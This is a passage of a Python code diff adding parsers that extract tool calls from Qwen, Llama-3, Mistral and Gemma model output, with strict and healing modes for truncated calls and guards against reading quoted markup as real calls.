+        enabled_tool_names = enabled_tool_names,
+    )
+
+
+def _parse_tool_call_json(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    out: list[dict] = []
+    for m in _TC_JSON_START_RE.finditer(content):
+        brace_start = m.end() - 1
+        end = _balanced_brace_end(content, brace_start)
+        if end is None:
+            continue
+        # Strict mode: a balanced JSON body that never closed its ``<tool_call>``
+        # is a truncated call, not a finished one. Trailing prose after the close
+        # is still tolerated (matches the GGUF strict path).
+        if not allow_incomplete and not content[end + 1 :].lstrip().startswith("</tool_call>"):
+            continue
+        try:
+            obj = json.loads(content[brace_start : end + 1])
+        except (json.JSONDecodeError, ValueError):
+            continue
+        name = obj.get("name", "")
+        # Accept ``arguments`` (Hermes/Qwen) and ``parameters`` (Llama-3 drift).
+        args = obj.get("arguments")
+        if args is None:
+            args = obj.get("parameters", {})
+        if isinstance(args, dict):
+            args_str = json.dumps(args)
+        elif isinstance(args, str):
+            args_str = args
+        else:
+            args_str = json.dumps({"value": args})
+        if not name:
+            continue
+        out.append(
+            {
+                "id": f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {"name": name, "arguments": args_str},
+            }
+        )
+    return out
+
+
+def _trim_param_value(val: str) -> str:
+    """Trim one wrapping newline the template adds around an XML parameter value
+    (``<parameter=k>\nVALUE\n</parameter>``), preserving inner indentation.
+    ``str.strip()`` destroyed code/diff indentation; SGLang's qwen3_coder trims only
+    the wrapping newline."""
+    if val.startswith("\n"):
+        val = val[1:]
+    if val.endswith("\n"):
+        val = val[:-1]
+    return val
+
+
+def _inside_open_parameter(text: str, pos: int) -> bool:
+    """True if ``pos`` sits inside an unclosed ``<parameter>``/``<param>`` block --
+    i.e. a ``<function>`` / ``<parameter>`` opener at ``pos`` is a literal inside an
+    argument value (e.g. code that prints tool-call XML), not a real nested call.
+    Compares the last parameter opener before ``pos`` against the last
+    parameter/function close before it."""
+    last_param_open = -1
+    for m in _TC_PARAM_START_RE.finditer(text, 0, pos):
+        last_param_open = m.start()
+    if last_param_open < 0:
+        return False
+    # The parameter's OWN close tag decides: while it closes after ``pos`` the position is
+    # argument data, even across several literal function closes. Only an unclosed
+    # parameter (heal mode) falls back to the first function close.
+    own_closes = [
+        c
+        for c in (
+            text.find("</parameter>", last_param_open),
+            text.find("</param>", last_param_open),
+        )
+        if c >= 0
+    ]
+    if own_closes:
+        return min(own_closes) > pos
+    func_closes = [
+        c
+        for c in (
+            text.find("</function>", last_param_open),
+            text.find("</tool_call>", last_param_open),
+        )
+        if c >= 0
+    ]
+    return not func_closes or pos < min(func_closes)
+
+
+def _parse_function_xml(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    out: list[dict] = []
+    # Skip ``<function ...>`` openers that are literals inside an open parameter value,
+    # else the nested marker is promoted to a second call and truncates the real argument.
+    func_starts = [
+        fm
+        for fm in _TC_FUNC_START_RE.finditer(content)
+        if not _inside_open_parameter(content, fm.start())
+    ]
+    for idx, fm in enumerate(func_starts):
+        # group(1) is ``<function=name>``, group(2) is ``<function name="...">``.
+        func_name = fm.group(1) or fm.group(2)
+        body_start = fm.end()
+        next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content)
+        # The call ends at the FIRST </function> / </tool_call> not inside an open
+        # parameter: a literal close in a code/search argument is skipped as data, and
+        # prose after the real close isn't folded into the last argument (mirrors
+        # _strip_function_xml_calls and tool_healing._func_close_index).
+        close_match = None
+        for cm in _TC_END_TAG_RE.finditer(content, body_start, next_func):
+            if not _inside_open_parameter(content, cm.start()):
+                close_match = cm
+                break
+        has_close = close_match is not None
+        if has_close:
+            body_end = close_match.start()
+        else:
+            body_end = min(len(content), next_func)
+        # Strict mode: an unclosed function call is truncated -- do not heal it.
+        if not allow_incomplete and not has_close:
+            continue
+        body = _TC_FUNC_CLOSE_RE.sub("", content[body_start:body_end])
+
+        args: dict = {}
+        param_unclosed = False
+        # A ``<parameter>`` opener inside an open parameter value is literal text.
+        param_starts = [
+            pm
+            for pm in _TC_PARAM_START_RE.finditer(body)
+            if not _inside_open_parameter(body, pm.start())
+        ]
+        if len(param_starts) == 1:
+            pm = param_starts[0]
+            raw_val = body[pm.end() :]
+            if not _TC_PARAM_CLOSE_RE.search(raw_val):
+                param_unclosed = True
+            val = _TC_PARAM_CLOSE_RE.sub("", raw_val)
+            args[pm.group(1) or pm.group(2)] = _trim_param_value(val)
+        else:
+            for pidx, pm in enumerate(param_starts):
+                val_start = pm.end()
+                next_param = (
+                    param_starts[pidx + 1].start() if pidx + 1 < len(param_starts) else len(body)
+                )
+                raw_val = body[val_start:next_param]
+                if not _TC_PARAM_CLOSE_RE.search(raw_val):
+                    param_unclosed = True
+                val = _TC_PARAM_CLOSE_RE.sub("", raw_val)
+                args[pm.group(1) or pm.group(2)] = _trim_param_value(val)
+
+        # Strict mode: a dangling parameter means the call was cut off; a closed
+        # zero-parameter call stays valid.
+        if not allow_incomplete and param_unclosed:
+            continue
+
+        out.append(
+            {
+                "id": f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {"name": func_name, "arguments": json.dumps(args)},
+            }
+        )
+    return out
+
+
+def _llama3_kv_value(body: str, p: int, n: int) -> tuple[Any, int | None]:
+    """One ``.call`` value (string/number/true/false/null) at ``body[p:]``.
+    Returns ``(value, consumed_len)`` or ``(None, None)`` if none matches."""
+    if p >= n:
+        return None, None
+    if body[p] == '"':
+        # ``"((?:\\.|[^"\\])*)"`` by hand so an unterminated quote is O(n), not O(n^2).
+        j = p + 1
+        while j < n:
+            c = body[j]
+            if c == "\\":
+                # ``\\.`` needs a following non-newline char; else the body can't match.
+                if j + 1 >= n or body[j + 1] == "\n":
+                    return None, None
+                j += 2
+                continue
+            if c == '"':
+                raw = body[p + 1 : j]
+                # json.loads keeps \n/\uXXXX escapes and literal UTF-8 (emoji/CJK) intact.
+                try:
+                    return json.loads('"' + raw + '"'), j + 1 - p
+                except (json.JSONDecodeError, ValueError):
+                    return raw, j + 1 - p
+            j += 1
+        return None, None  # unterminated
+    nm = _LLAMA3_NUM_RE.match(body, p)
+    if nm:
+        v = nm.group(0)
+        # Scientific notation (1e-3, -2E+4, 0.5e2) and decimals decode as float; a bare
+        # integer stays int. ``"." in v`` alone missed the exponent forms (1e-3 -> 1).
+        return (float(v) if any(c in v for c in ".eE") else int(v)), nm.end() - p
+    lm = _LLAMA3_LIT_RE.match(body, p)
+    if lm:
+        return {"true": True, "false": False, "null": None}[lm.group(0)], lm.end() - p
+    return None, None
+
+
+def _parse_llama3_kv_args(body: str) -> dict[str, Any]:
+    """``k=v, ...`` kwargs from a ``.call(...)`` body, left to right (later keys win).
+    Linear hand-scan replacing the quadratic ``_LLAMA3_KV_RE.finditer`` walk."""
+    args: dict[str, Any] = {}
+    n = len(body)
+    i = 0
+    while i < n:
+        km = _LLAMA3_KEY_RE.match(body, i)
+        if km is None:
+            i += 1
+            continue
+        p = _LLAMA3_WS_RE.match(body, km.end()).end()
+        if p >= n or body[p] != "=":
+            i = km.end()
+            continue
+        p = _LLAMA3_WS_RE.match(body, p + 1).end()
+        val, length = _llama3_kv_value(body, p, n)
+        if length is None:
+            i = km.end()
+            continue
+        args[km.group(0)] = val
+        i = p + length
+    return args
+
+
+def _parse_llama3_python_tag(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """Parse the Llama-3 emissions: ``<|python_tag|>NAME.call(...)`` (built-in),
+    ``<|python_tag|>{"name":..., "parameters":...}`` (custom), multi-call via
+    ``; ``, ``parameters`` or ``arguments`` key."""
+    out: list[dict] = []
+    if _LLAMA3_PYTHON_TAG not in content:
+        return out
+
+    # 1. ``NAME.call(...)`` built-in form, anchored to ``<|python_tag|>`` and optionally
+    #    ``; ``-chained within one emission. Anchoring to the tag boundary (not a free scan)
+    #    keeps a literal ``<|python_tag|>x.call(...)`` quoted in a custom-form JSON argument
+    #    from being mistaken for a real built-in call.
+    pos = content.find(_LLAMA3_PYTHON_TAG)
+    truncated = False
+    while pos >= 0 and not truncated:
+        head = _LLAMA3_PY_CALL_HEAD_RE.match(content, pos + len(_LLAMA3_PYTHON_TAG))
+        if head is None:
+            # Tag is the custom JSON form (``{...}``) or noise -- leave it to step 2.
+            break
+        name = head.group(1)
+        open_idx = head.end()
+        i = open_idx
+        while True:
+            i = open_idx
+            depth = 1
+            in_string = False
+            esc = False
+            while i < len(content) and depth > 0:
+                ch = content[i]
+                if in_string:
+                    if esc:
+                        esc = False
+                    elif ch == "\\":
+                        esc = True
+                    elif ch == '"':
+                        in_string = False
+                else:
+                    if ch == '"':
+                        in_string = True
+                    elif ch == "(":
+                        depth += 1
+                    elif ch == ")":
+                        depth -= 1
+                        if depth == 0:
+                            break
+                i += 1
+            # Truncated ``.call(...)`` with no closing paren: reject in strict mode
+            # instead of executing a partial.
+            if not allow_incomplete and depth > 0:
+                truncated = True
+                break
+            body = content[open_idx:i]
+            out.append(
+                {
+                    "id": f"call_{id_offset + len(out)}",
+                    "type": "function",
+                    "function": {
+                        "name": name,
+                        "arguments": json.dumps(_parse_llama3_kv_args(body)),
+                    },
+                }
+            )
+            # ``)`` then optional ``; NAME.call(`` chains the next built-in call.
+            chain = _LLAMA3_CALL_CHAIN_RE.match(content, i + 1)
+            if chain is None:
+                break
+            name = chain.group(1)
+            open_idx = chain.end()
+        # Past the consumed region: a second ``<|python_tag|>`` may carry more calls.
+        pos = content.find(_LLAMA3_PYTHON_TAG, i + 1)
+
+    # 2. ``<|python_tag|>{"name":..., "parameters":...}``. ``raw_decode`` peels multiple
+    #    ``; ``-separated objects from one emission.
+    if not out:
+        decoder = json.JSONDecoder()
+        idx = content.find(_LLAMA3_PYTHON_TAG)
+        while idx >= 0:
+            search_from = idx + len(_LLAMA3_PYTHON_TAG)
+            cursor = search_from
+            while cursor < len(content):
+                brace = content.find("{", cursor)
+                if brace < 0:
+                    break
+                # Stop at the next ``<|python_tag|>``.
+                next_tag = content.find(_LLAMA3_PYTHON_TAG, search_from, brace)
+                if next_tag >= 0:
+                    break
+                try:
+                    obj, end_offset = decoder.raw_decode(content[brace:])
+                except (json.JSONDecodeError, ValueError):
+                    cursor = brace + 1
+                    continue
+                if not isinstance(obj, dict):
+                    cursor = brace + end_offset
+                    continue
+                name = obj.get("name") or obj.get("function") or ""
+                args = obj.get("parameters") if "parameters" in obj else obj.get("arguments", {})
+                # Skip rather than fabricate ``{"value": args}`` for a non-dict/non-string value.
+                if isinstance(args, dict):
+                    args_str = json.dumps(args)
+                elif isinstance(args, str):
+                    args_str = args
+                else:
+                    cursor = brace + end_offset
+                    continue
+                if name:
+                    out.append(
+                        {
+                            "id": f"call_{id_offset + len(out)}",
+                            "type": "function",
+                            "function": {"name": name, "arguments": args_str},
+                        }
+                    )
+                cursor = brace + end_offset
+            idx = content.find(_LLAMA3_PYTHON_TAG, cursor)
+    return out
+
+
+# Llama-3 special-token sentinels (chainable, any order) plus the role label the
+# template inserts between ``<|start_header_id|>`` and ``<|end_header_id|>``.
+_LLAMA3_BARE_JSON_SENTINELS = (
+    "<|begin_of_text|>",
+    "<|eot_id|>",
+    "<|start_header_id|>",
+    "<|end_header_id|>",
+    "<|eom_id|>",
+)
+_LLAMA3_HEADER_ROLES = ("assistant", "user", "system", "tool", "ipython")
+
+
+def strip_llama3_leading_sentinels(content: str) -> str:
+    """Strip leading Llama-3 special-token sentinels (and the role label after
+    ``<|start_header_id|>``) that can leak from a prior turn before a bare-JSON tool
+    call. Shared by the parser and the streaming buffering guards so a
+    sentinel-prefixed ``{"name":...}`` is recognised the same everywhere."""
+    stripped = content.lstrip()
+    while True:
+        stripped = stripped.lstrip()
+        matched = False
+        for sentinel in _LLAMA3_BARE_JSON_SENTINELS:
+            if stripped.startswith(sentinel):
+                stripped = stripped[len(sentinel) :]
+                if sentinel == "<|start_header_id|>":
+                    for role in _LLAMA3_HEADER_ROLES:
+                        if stripped.startswith(role):
+                            stripped = stripped[len(role) :]
+                            break
+                matched = True
+                break
+        if not matched:
+            return stripped
+
+
+def _parse_llama3_bare_json(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+    enabled_tool_names: Optional[set] = None,
+) -> list[dict]:
+    """Llama-3.2 ``custom_tools`` bare ``{"name":.., "parameters":{..}}`` (no ``<|python_tag|>``),
+    strict so prose/echoes don't fire. ``enabled_tool_names`` gates on the parsed name so an
+    ordinary JSON answer isn't misread as a call to a disabled tool; ``None`` is name-agnostic."""
+    out: list[dict] = []
+    stripped = strip_llama3_leading_sentinels(content)
+    if not stripped.startswith("{"):
+        return out
+
+    decoder = json.JSONDecoder()
+    cursor = 0
+    n = len(stripped)
+    while cursor < n:
+        # Skip whitespace and the Llama-3 ``;`` inter-call separator.
+        while cursor < n and stripped[cursor] in " \t\n\r;":
+            cursor += 1
+        if cursor >= n or stripped[cursor] != "{":
+            break
+        try:
+            obj, end_offset = decoder.raw_decode(stripped[cursor:])
+        except (json.JSONDecodeError, ValueError):
+            break
+        if not isinstance(obj, dict):
+            break
+        name = obj.get("name") or obj.get("function") or ""
+        if not isinstance(name, str) or not name:
+            break
+        # Markerless JSON is ambiguous: treat it as a call only when the name is an enabled
+        # tool, else it is an ordinary JSON answer.
+        if enabled_tool_names is not None and name not in enabled_tool_names:
+            break
+        # ``parameters`` must be a dict (Llama-3 spec); ``arguments`` may be a dict or
+        # JSON-string of one (OpenAI). Looser would fire on ``{"name":"x","parameters":"sentence"}``.
+        if "parameters" in obj:
+            args = obj.get("parameters")
+            if not isinstance(args, dict):
+                break
+            args_str = json.dumps(args)
+        elif "arguments" in obj:
+            args = obj.get("arguments")
+            if isinstance(args, dict):
+                args_str = json.dumps(args)
+            elif isinstance(args, str):
+                try:
+                    parsed = json.loads(args)
+                except (json.JSONDecodeError, ValueError):
+                    break
+                if not isinstance(parsed, dict):
+                    break
+                args_str = args
+            else:
+                break
+        else:
+            break
+        out.append(
+            {
+                "id": f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {"name": name, "arguments": args_str},
+            }
+        )
+        cursor += end_offset
+    return out
+
+
+def _parse_mistral_tool_calls(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """Parse all Mistral emissions: pre-v11 ``[TOOL_CALLS][...]`` / ``[TOOL_CALLS]{...}``
+    and v11+ ``[TOOL_CALLS]name{json}`` / ``[TOOL_CALLS]name[ARGS]{json}``."""
+    out: list[dict] = []
+    content = _strip_mistral_reasoning(content)
+    idx = content.find(_MISTRAL_TRIGGER)
+    if idx < 0:
+        return out
+
+    # Disambiguate the first occurrence: array / single object (pre-v11), or bare-name (v11+).
+    j = idx + len(_MISTRAL_TRIGGER)
+    k = j
+    while k < len(content) and content[k] in " \t\n\r":
+        k += 1
+    if k >= len(content):
+        return out
+
+    if content[k] == "[":
+        return _parse_mistral_array(content, k, id_offset, allow_incomplete = allow_incomplete)
+
+    if content[k] == "{":
+        # Pre-v11 single ``{"name":...}``; fall through without a ``name`` so v11+ still runs.
+        end = _balanced_brace_end(content, k)
+        if end is not None:
+            try:
+                obj = json.loads(content[k : end + 1])
+                if isinstance(obj, dict) and obj.get("name"):
+                    _consume_mistral_call(content[k : end + 1], out, id_offset)
+                    return out
+            except (json.JSONDecodeError, ValueError):
+                pass
+
+    # v11+: walk every ``[TOOL_CALLS]``, parsing ``name{json}`` or
+    # ``name[ARGS]{json}`` after each trigger.
+    pos = idx
+    while pos >= 0:
+        cur = pos + len(_MISTRAL_TRIGGER)
+        nm = _MISTRAL_V11_NAME_RE.match(content, cur)
+        if not nm:
+            pos = content.find(_MISTRAL_TRIGGER, cur)
+            continue
+        name = nm.group(1)
+        after_name = nm.end()
+        after_name = _skip_mistral_call_id(content, after_name)
+        if content.startswith(_MISTRAL_ARGS_MARKER, after_name):
+            after_name += len(_MISTRAL_ARGS_MARKER)
+        while after_name < len(content) and content[after_name] in " \t\n\r":
+            after_name += 1
+        if after_name >= len(content) or content[after_name] != "{":
+            pos = content.find(_MISTRAL_TRIGGER, cur)
+            continue
+        end = _balanced_brace_end(content, after_name)
+        if end is None:
+            break
+        try:
+            args = json.loads(content[after_name : end + 1])
+        except (json.JSONDecodeError, ValueError):
+            pos = content.find(_MISTRAL_TRIGGER, end + 1)
+            continue
+        if not isinstance(args, dict):
+            pos = content.find(_MISTRAL_TRIGGER, end + 1)
+            continue
+        out.append(
+            {
+                "id": f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {
+                    "name": name,
+                    "arguments": json.dumps(args),
+                },
+            }
+        )
+        pos = content.find(_MISTRAL_TRIGGER, end + 1)
+    return out
+
+
+def _parse_mistral_array(
+    content: str,
+    start: int,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """Pre-v11 ``[TOOL_CALLS] [{...}, ...]`` array form."""
+    out: list[dict] = []
+    j = start
+    depth = 0
+    in_string = False
+    esc = False
+    while j < len(content):
+        ch = content[j]
+        if in_string:
+            if esc:
+                esc = False
+            elif ch == "\\":
+                esc = True
+            elif ch == '"':
+                in_string = False
+        else:
+            if ch == '"':
+                in_string = True
+            elif ch == "[":
+                depth += 1
+            elif ch == "]":
+                depth -= 1
+                if depth == 0:
+                    break
+        j += 1
+    # An unclosed array (no matching ]) is a truncated call. In strict mode reject it
+    # instead of recovering objects by hand below.
+    if not allow_incomplete and depth != 0:
+        return out
+    body = content[start : j + 1] if depth == 0 else content[start:]
+
+    try:
+        arr = json.loads(body)
+        if isinstance(arr, list):
+            for obj in arr:
+                if isinstance(obj, dict):
+                    _consume_mistral_call(json.dumps(obj), out, id_offset)
+        return out
+    except (json.JSONDecodeError, ValueError):
+        if not allow_incomplete:
+            return out
+
+    # Healing path for unclosed arrays: walk top-level objects, advancing past each balanced
+    # ``{...}`` instead of re-scanning from every ``{`` (quadratic ReDoS).
+    pos = 0
+    blen = len(body)
+    while pos < blen:
+        brace = body.find("{", pos)
+        if brace < 0:
+            break
+        end = _balanced_brace_end(body, brace)
+        if end is None:
+            break  # truncated mid-object: nothing after it can balance
+        _consume_mistral_call(body[brace : end + 1], out, id_offset)
+        pos = end + 1
+    return out
+
+
+def _consume_mistral_call(obj_text: str, out: list[dict], id_offset: int) -> None:
+    try:
+        obj = json.loads(obj_text)
+    except (json.JSONDecodeError, ValueError):
+        return
+    if not isinstance(obj, dict):
+        return
+    name = obj.get("name") or ""
+    # Mistral uses ``arguments``; accept the ``parameters`` alias too (sibling paths and
+    # SGLang's base detector alias it) so an array object keyed on it keeps args.
+    args = obj.get("arguments")
+    if args is None:
+        args = obj.get("parameters", {})
+    if isinstance(args, dict):
+        args_str = json.dumps(args)
+    elif isinstance(args, str):
+        args_str = args
+    else:
+        args_str = json.dumps({"value": args})
+    if name:
+        out.append(
+            {
+                "id": obj.get("id") or f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {"name": name, "arguments": args_str},
+            }
+        )
+
+
+def _whole_content_is_json_value(text: str) -> bool:
+    """True when the entire content is one valid JSON value (a structured
+    answer, e.g. a response_format turn). Markerless scans must treat text
+    inside it as data: an answer documenting an enabled tool's syntax must
+    not execute that tool or have the example stripped from display."""
+    t = text.strip()
+    if t[:1] not in "{[":
+        return False
+    try:
+        json.loads(t)
+    except ValueError:
+        return False
+    return True
+
+
+def _leading_json_value_end(text: str) -> int | None:
+    """End index (exclusive) of a balanced LEADING JSON value that parses as
+    JSON: a structured answer possibly followed by prose. Markerless scans treat
+    its contents as data (extends ``_whole_content_is_json_value``); leading-keyed,
+    so a JSON blob mid-prose is not an answer span."""
+    i = 0
+    n = len(text)
+    while i < n and text[i].isspace():
+        i += 1
+    if i >= n or text[i] not in "{[":
+        return None
+    end = (_balanced_brace_end if text[i] == "{" else _balanced_bracket_end)(text, i)
+    if end is None:
+        return None
+    try:
+        json.loads(text[i : end + 1])
+    except ValueError:
+        return None
+    return end + 1
+
+
+def _parse_gemma_tool_calls(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+    enabled_tool_names: Optional[set] = None,
+) -> list[dict]:
+    """Gemma 4: ``<|tool_call>call:NAME{k:<|"|>v<|"|>, ...}<tool_call|>``, plus the
+    ``skip_special_tokens`` stream where the wrapper and string markers were
+    stripped (bare ``call:NAME{k:v, ...}``).
+
+    ``enabled_tool_names`` gates on the parsed name: the wrapper-less shape is
+    indistinguishable from prose documenting the syntax, so a disabled/example
+    name must not be stolen as a call. ``None`` keeps the name-agnostic behaviour."""
+    out: list[dict] = []
+    # The WRAPPED form (strict + nested-marker handling) is tool_healing's, which runs
+    # first: defer content with a wrapped opener. A marker literal alone is not enough --
+    # a wrapper-less call mentioning ``<|tool_call>`` would be lost if deferred.
+    if _GEMMA_TC_RE.search(content):
+        return out
+    # A whole-content JSON value is a structured answer: quoted examples must not become calls.
+    if _whole_content_is_json_value(content):
+        return out
+    # Manual cursor: resume AFTER each consumed balanced body so a nested ``call:OTHER{...}``
+    # in an argument is never re-matched. A leading JSON answer's span is data -- scan after it.
+    cursor = _leading_json_value_end(content) or 0
+    while True:
+        m = _GEMMA_BARE_TC_RE.search(content, cursor)
+        if m is None:
+            break
+        name = m.group(1)
+        body_start = m.end() - 1
+        end = _gemma_body_brace_end(content, body_start)
+        if end is None:
+            # Unclosed call: nothing parseable follows (mirrors the strip contract);
+            # scanning on would promote quoted argument text.
+            break
+        cursor = end + 1
+        # Markerless: a disabled/example name is prose, not a call.
+        if enabled_tool_names is not None and name not in enabled_tool_names:
+            continue
+        body = content[body_start + 1 : end]
+        try:
+            args = _gemma_parse_stripped_body(body)
+        except Exception:
+            args = {}
+        out.append(
+            {
+                "id": f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {"name": name, "arguments": json.dumps(args)},
+            }
+        )
+    return out
+
+
+def _balanced_brace_end(text: str, brace_pos: int) -> int | None:
+    """Index of the ``}`` matching ``{`` at ``brace_pos`` (ignores braces in JSON strings)."""
+    if brace_pos >= len(text) or text[brace_pos] != "{":
+        return None
+    depth = 0
+    in_string = False
+    esc = False
+    i = brace_pos
+    while i < len(text):
+        ch = text[i]
+        if in_string:
+            if esc:
+                esc = False
+            elif ch == "\\":
+                esc = True
+            elif ch == '"':
+                in_string = False
+        else:
+            if ch == '"':
+                in_string = True
+            elif ch == "{":
+                depth += 1
+            elif ch == "}":
+                depth -= 1
+                if depth == 0:
+                    return i
+        i += 1
+    return None
+
+
+def _gemma_body_brace_end(text: str, brace_pos: int) -> int | None:
+    """Index of the ``}`` closing the wrapper-less Gemma body at ``brace_pos``.
+
+    Values are raw after ``skip_special_tokens``, so quoted strings (single or
+    double) hide braces; the quote rules mirror ``_gemma_parse_stripped_body`` so
+    the boundary always agrees with the body parser. Contextual openers: a single
+    quote opens only at value-start context (after ``:{[(,=`` -- apostrophes in
+    ``what's the weather`` are prose), a double quote also at word start (so
+    ``query:find "a, b"`` hides its delimiters)."""
+    if brace_pos >= len(text) or text[brace_pos] != "{":
+        return None
+    depth = 0
+    quote = ""
+    prev = ""
+    prev_raw = ""
+    i = brace_pos
+    n = len(text)
+    while i < n:
+        ch = text[i]
+        if quote:
+            if ch == "\\" and i + 1 < n:
+                i += 2
+                continue
+            if ch == quote:
+                quote = ""
+        elif ch in "\"'" and (prev in ":{[(,=" or (ch == '"' and prev_raw.isspace())):
+            quote = ch
+        elif ch == "{":
+            depth += 1
+        elif ch == "}":
+            depth -= 1
+            if depth == 0:
+                return i
+        if not ch.isspace():
+            prev = ch
+        prev_raw = ch
+        i += 1
+    return None
+
+
+_BARE_JSON_NAME_RE = re.compile(r'"name"\s*:\s*"([^"]+)"')
+
+
+def _top_level_bare_json_name(probe: str) -> Optional[str]:
+    """TOP-LEVEL ``"name"`` (or ``"function"`` alias, name wins) of a bare-JSON object, else None.
+
+    Skips nested objects/arrays so a nested ``"name"`` isn't mistaken for the call name; a
+    truncated tail returns None so the caller keeps the text."""
+    if not probe.startswith("{"):
+        return None
+    decoder = json.JSONDecoder()
+    function_value = None  # the ``"function"`` alias, used only if no ``"name"`` key
+    i = 1
+    n = len(probe)
+    while i < n:
+        while i < n and probe[i] in " \t\r\n,":
+            i += 1
+        if i >= n or probe[i] == "}":
+            # End of the object with no top-level ``"name"``: fall back to a recorded ``"function"`` alias.
+            return function_value
+        if probe[i] != '"':
+            return None
+        try:
+            key, consumed = decoder.raw_decode(probe[i:])
+        except (json.JSONDecodeError, ValueError):
+            return None
+        if not isinstance(key, str):
+            return None
+        i += consumed
+        while i < n and probe[i] in " \t\r\n":
+            i += 1
+        if i >= n or probe[i] != ":":
+            return None
+        i += 1
+        while i < n and probe[i] in " \t\r\n":
+            i += 1
+        if key == "name":
+            if i < n and probe[i] == '"':
+                try:
+                    value, _consumed = decoder.raw_decode(probe[i:])
+                except (json.JSONDecodeError, ValueError):
+                    return None
+                return value if isinstance(value, str) else None
+            return None
+        if key == "function" and function_value is None and i < n and probe[i] == '"':
+            # ``"function"`` aliases the call name. Record it but keep scanning: a top-level
+            # ``"name"`` still wins.
+            try:
+                value, consumed = decoder.raw_decode(probe[i:])
+            except (json.JSONDecodeError, ValueError):
+                return None
+            if isinstance(value, str):
+                function_value = value
+            i += consumed
+            continue
+        # Skip a non-name top-level value; a truncated one can't prove a top-level name
+        # exists, so return None (keep the text).
+        if i < n and probe[i] == "{":
+            end = _balanced_brace_end(probe, i)
+            if end is None:
+                return None
+            i = end + 1
+        elif i < n and probe[i] == "[":
+            end = _balanced_bracket_end(probe, i)
+            if end is None:
+                return None
+            i = end + 1
+        else:
+            try:
+                _value, consumed = decoder.raw_decode(probe[i:])
+            except (json.JSONDecodeError, ValueError):
+                return None
+            i += consumed
+    # No top-level ``"name"`` key: fall back to the ``"function"`` alias if seen.
+    return function_value
+
+
+def strip_leading_bare_json_call(text: str, enabled_tool_names: Optional[set] = None) -> str:
+    """Remove leading Llama-3.2 bare-JSON calls (including a ``;``-chained run)
+    that ``strip_tool_markup`` misses; non-call text is unchanged and
+    ``enabled_tool_names`` gates like the parser. Consuming the whole chain
+    matters because the loops keep this text as next-turn assistant history: a
+    leftover executed call would be replayed alongside the structured
+    ``tool_calls``."""
+    remainder = text
+    stripped_any = False
+    while True:
+        probe = strip_llama3_leading_sentinels(remainder.lstrip())
+        # Skip the Llama-3 ``;`` inter-call separator between chained calls.
+        if stripped_any:
+            probe = probe.lstrip(" \t\n\r;")
+        if not (probe.startswith("{") and ('"name"' in probe or '"function"' in probe)):
+            return probe.lstrip() if stripped_any else text
+        if enabled_tool_names is not None:
+            # Only suppress when the leading object's TOP-LEVEL name is an enabled tool. A
+            # nested ``"name"`` (e.g. {"result":{"name":"web_search",...}}) is data, not the
+            # call name, so it must not gate the strip. An un-extractable name is kept.
+            name = _top_level_bare_json_name(probe)
+            if name not in enabled_tool_names:
+                return probe.lstrip() if stripped_any else text
+        end = _balanced_brace_end(probe, 0)
+        if end is None:
+            return ""  # truncated bare-JSON call -- nothing recoverable
+        # A closed object must have the CALL SHAPE the parser accepts (dict ``parameters``,
+        # or dict / JSON-string ``arguments``). An ordinary JSON answer like
+        # {"name":"web_search","result":"no call"} is content, so the strip keeps it visible.
+        try:
+            obj = json.loads(probe[: end + 1])
+        except (json.JSONDecodeError, ValueError):
+            return probe.lstrip() if stripped_any else text
+        if not _bare_json_call_shaped(obj):
+            return probe.lstrip() if stripped_any else text
+        remainder = probe[end + 1 :]
+        stripped_any = True
+
+
+def _bare_json_call_shaped(obj) -> bool:
+    """The shape gate ``_parse_llama3_bare_json`` applies to a decoded object."""
+    if not isinstance(obj, dict):
+        return False
+    # The parser requires a TOP-LEVEL name; a nested one (e.g. in a "result" value of an
+    # ordinary JSON answer) is data, and stripping it name-agnostically would delete content.
+    name = obj.get("name") or obj.get("function") or ""
+    if not isinstance(name, str) or not name:
+        return False
+    if "parameters" in obj:
+        return isinstance(obj.get("parameters"), dict)
+    args = obj.get("arguments")
+    if isinstance(args, dict):
+        return True
+    if isinstance(args, str):
+        try:
+            return isinstance(json.loads(args), dict)
+        except (json.JSONDecodeError, ValueError):
+            return False
+    return False
+
+
+def _gemma_balanced_brace_end(text: str, brace_pos: int, hard_stop: int) -> int | None:
+    """Like ``_balanced_brace_end`` but skips ``<|"|>`` strings and matches {}/[] symmetrically."""
+    if brace_pos >= len(text) or text[brace_pos] != "{":
+        return None
+    depth = 0
+    i = brace_pos
+    while i < hard_stop:
+        if text.startswith(_GEMMA_STR_BEGIN, i):
+            close = text.find(_GEMMA_STR_END, i + len(_GEMMA_STR_BEGIN))
+            if close < 0:
+                return None
+            i = close + len(_GEMMA_STR_END)
+            continue
+        ch = text[i]
+        if ch == "{" or ch == "[":
+            depth += 1
+        elif ch == "}" or ch == "]":
+            depth -= 1
+            if depth == 0:
+                return i
+        i += 1
+    return None
+
+
+def _gemma_parse_value(
+    text: str,
+    i: int,
+    *,
+    in_mapping: bool = False,
+):
+    """Parse one Gemma arg value at ``i`` in a single O(n) forward pass; returns
+    ``(value, next_index, closed)``. ``closed`` is False when a string/object/array
+    runs off the end without its terminator, so the caller can fall back to raw.
+    ``in_mapping`` applies the top-level rule that a comma only ends the value
+    when a ``key:`` follows (array elements split on every top-level comma)."""
+    if text.startswith(_GEMMA_STR_BEGIN, i):
+        close = text.find(_GEMMA_STR_END, i + len(_GEMMA_STR_BEGIN))
+        if close < 0:
+            return text[i + len(_GEMMA_STR_BEGIN) :], len(text), False
+        return text[i + len(_GEMMA_STR_BEGIN) : close], close + len(_GEMMA_STR_END), True
+    if text[i] == "{":
+        return _gemma_parse_mapping(text, i)
+    if text[i] == "[":
+        return _gemma_parse_array(text, i)
+    if text[i] in "\"'":
